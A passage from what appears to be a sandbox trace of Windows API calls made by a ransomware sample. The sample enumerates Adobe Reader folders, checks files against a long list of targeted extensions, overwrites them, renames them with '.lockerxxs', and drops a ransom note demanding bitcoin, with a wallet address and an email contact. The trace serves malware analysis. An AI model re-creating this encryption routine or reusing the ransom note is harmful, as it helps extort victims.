lstrlenA (lpString="*.odg") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.381] lstrlenA (lpString="*.raw") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.381] lstrlenA (lpString="*.nef") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.381] lstrlenA (lpString="*.svg") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.381] lstrlenA (lpString="*.psd") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.381] lstrlenA (lpString="*.vmx") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.381] lstrlenA (lpString="*.vmdk") returned 6 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.381] lstrlenA (lpString="*.vdi") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.381] lstrlenA (lpString="*.lay6") returned 6 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.381] lstrlenA (lpString="*.mpeg") returned 6 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.382] lstrlenA (lpString="*.djvu") returned 6 [0069.382] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.382] lstrlenA (lpString="*.tiff") returned 6 [0069.382] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.382] lstrlenA (lpString="*.backup") returned 8 [0069.382] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.382] lstrlenA (lpString="*.pdf") returned 5 [0069.382] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" [0069.382] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" [0069.382] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf." [0069.382] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.lockerxxs" [0069.382] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.383] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x48d8f [0069.383] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.383] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.383] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x48d69, lpOverlapped=0x0) returned 1 [0069.390] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf") returned="DefaultID.pdf" [0069.392] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.393] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x48d69, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x48d69, lpOverlapped=0x0) returned 1 [0069.394] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.394] CloseHandle (hObject=0x94) returned 1 [0069.397] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf.lockerxxs")) returned 1 [0069.398] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.398] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.398] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="UKR", cAlternateFileName="")) returned 1 [0069.399] lstrcmpA (lpString1=".", lpString2="UKR") returned -1 [0069.399] lstrcmpA (lpString1="..", lpString2="UKR") returned -1 [0069.399] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0069.399] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" [0069.399] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR") returned 63 [0069.399] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.399] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.399] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.399] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.400] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.400] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x197f2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0069.400] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.400] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0069.400] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0069.400] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0069.400] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*.*") returned="*.*" [0069.400] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" [0069.400] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\") returned="" [0069.400] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt" [0069.400] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\how to decrypt files.txt")) returned 0xffffffff [0069.400] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.401] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.401] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.403] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.403] CloseHandle (hObject=0x94) returned 1 [0069.404] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0069.404] lstrlenA (lpString="*.ems") returned 5 [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.db") returned 0 [0069.404] lstrlenA (lpString="*.db") returned 4 [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0069.404] lstrlenA (lpString="*.dbf") returned 5 [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0069.404] lstrlenA (lpString="*.myox") returned 6 [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0069.404] lstrlenA (lpString="*.myo") returned 5 [0069.404] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0069.404] lstrlenA (lpString="*.qbw") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0069.405] lstrlenA (lpString="*.qbb") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0069.405] lstrlenA (lpString="*.qbm") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0069.405] lstrlenA (lpString="*.qbo") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0069.405] lstrlenA (lpString="*.qbx") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0069.405] lstrlenA (lpString="*.qba") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0069.405] lstrlenA (lpString="*.qby") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0069.405] lstrlenA (lpString="*.qbj") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0069.405] lstrlenA (lpString="*.ofx") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0069.405] lstrlenA (lpString="*.qif") returned 5 [0069.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0069.405] lstrlenA (lpString="*.mye") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0069.406] lstrlenA (lpString="*.mbox") returned 6 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.406] lstrlenA (lpString="*.eml") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0069.406] lstrlenA (lpString="*.pst") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0069.406] lstrlenA (lpString="*.ost") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0069.406] lstrlenA (lpString="*.idx") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0069.406] lstrlenA (lpString="*.dbx") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0069.406] lstrlenA (lpString="*.sql") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0069.406] lstrlenA (lpString="*.mdb") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0069.406] lstrlenA (lpString="*.fdb") returned 5 [0069.406] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0069.407] lstrlenA (lpString="*.wab") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0069.407] lstrlenA (lpString="*.dat") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0069.407] lstrlenA (lpString="*.txt") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0069.407] lstrlenA (lpString="*.jpeg") returned 6 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0069.407] lstrlenA (lpString="*.jpg") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.png") returned 0 [0069.407] lstrlenA (lpString="*.png") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.php") returned 0 [0069.407] lstrlenA (lpString="*.php") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0069.407] lstrlenA (lpString="*.cs") returned 4 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0069.407] lstrlenA (lpString="*.cpp") returned 5 [0069.407] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0069.407] lstrlenA (lpString="*.rar") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0069.408] lstrlenA (lpString="*.zip") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.html") returned 0 [0069.408] lstrlenA (lpString="*.html") returned 6 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0069.408] lstrlenA (lpString="*.htm") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0069.408] lstrlenA (lpString="*.xlsx") returned 6 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0069.408] lstrlenA (lpString="*.xls") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0069.408] lstrlenA (lpString="*.mp4") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0069.408] lstrlenA (lpString="*.ppt") returned 5 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0069.408] lstrlenA (lpString="*.pptx") returned 6 [0069.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0069.408] lstrlenA (lpString="*.doc") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0069.409] lstrlenA (lpString="*.dot") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0069.409] lstrlenA (lpString="*.docx") returned 6 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0069.409] lstrlenA (lpString="*.7z") returned 4 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0069.409] lstrlenA (lpString="*.tar") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0069.409] lstrlenA (lpString="*.bz2") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0069.409] lstrlenA (lpString="*.gz") returned 4 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0069.409] lstrlenA (lpString="*.mkv") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.409] lstrlenA (lpString="*.eml") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0069.409] lstrlenA (lpString="*.msg") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0069.409] lstrlenA (lpString="*.edb") returned 5 [0069.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0069.410] lstrlenA (lpString="*.accdb") returned 7 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", 